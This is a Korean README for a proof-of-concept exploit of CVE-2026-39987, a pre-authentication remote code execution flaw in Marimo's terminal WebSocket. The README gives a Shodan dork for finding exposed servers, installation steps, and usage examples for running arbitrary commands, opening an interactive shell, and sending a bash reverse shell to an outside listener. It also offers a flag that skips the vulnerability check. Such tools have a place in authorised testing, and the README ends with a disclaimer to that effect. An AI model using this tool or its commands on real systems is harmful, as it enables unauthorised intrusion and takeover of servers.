
CVE-2026-39987 악용 도구 - Marimo < 0.23.0 사전 인증 RCE (WebSocket)
Marimo 0.23.0 이전 버전의 치명적인 사전 인증 원격 코드 실행(RCE) 취약점에 대한 개념 증명(PoC) 익스플로잇입니다.
이 취약점은 인증되지 않은 공격자가 WebSocket 엔드포인트(/terminal/ws)에 연결하여 대상 서버에서 임의의 시스템 명령을 실행할 수 있게 합니다.
/api/version 엔드포인트를 통해)하여 대상의 취약점을 자동으로 점검합니다.--no-check 플래그를 사용하여 버전 및 존재 여부 검사를 우회할 수 있습니다.다음 dork를 사용하여 잠재적으로 취약한 인스턴스를 식별할 수 있습니다:
http.favicon.hash:-1864630356
의존성을 설치하려면 Python 가상 환경을 사용하는 것이 좋습니다.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. 단일 명령 실행:
python CVE-2026-39987.py http://target.com:8080 "id"
2. 대화형 셸 실행:
python CVE-2026-39987.py http://target.com:8080 -i
3. 리버스 셸 실행:
사용자 머신에서 netcat 리스너가 실행 중인지 확인하십시오(예: nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. 검증 검사를 건너뛰고 강제 실행:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
기여를 환영합니다! 언제든지 Pull Request를 제출해 주세요.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)이 도구는 교육 목적 및 승인된 윤리적 해킹을 위해서만 엄격히 사용해야 합니다. 저자는 이 스크립트로 인해 발생하는 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 보안 테스트를 수행하기 전에 항상 시스템 소유자의 명시적 허가를 받아야 합니다. 이 스크립트의 무단 사용은 불법이며 법적 처벌을 받을 수 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.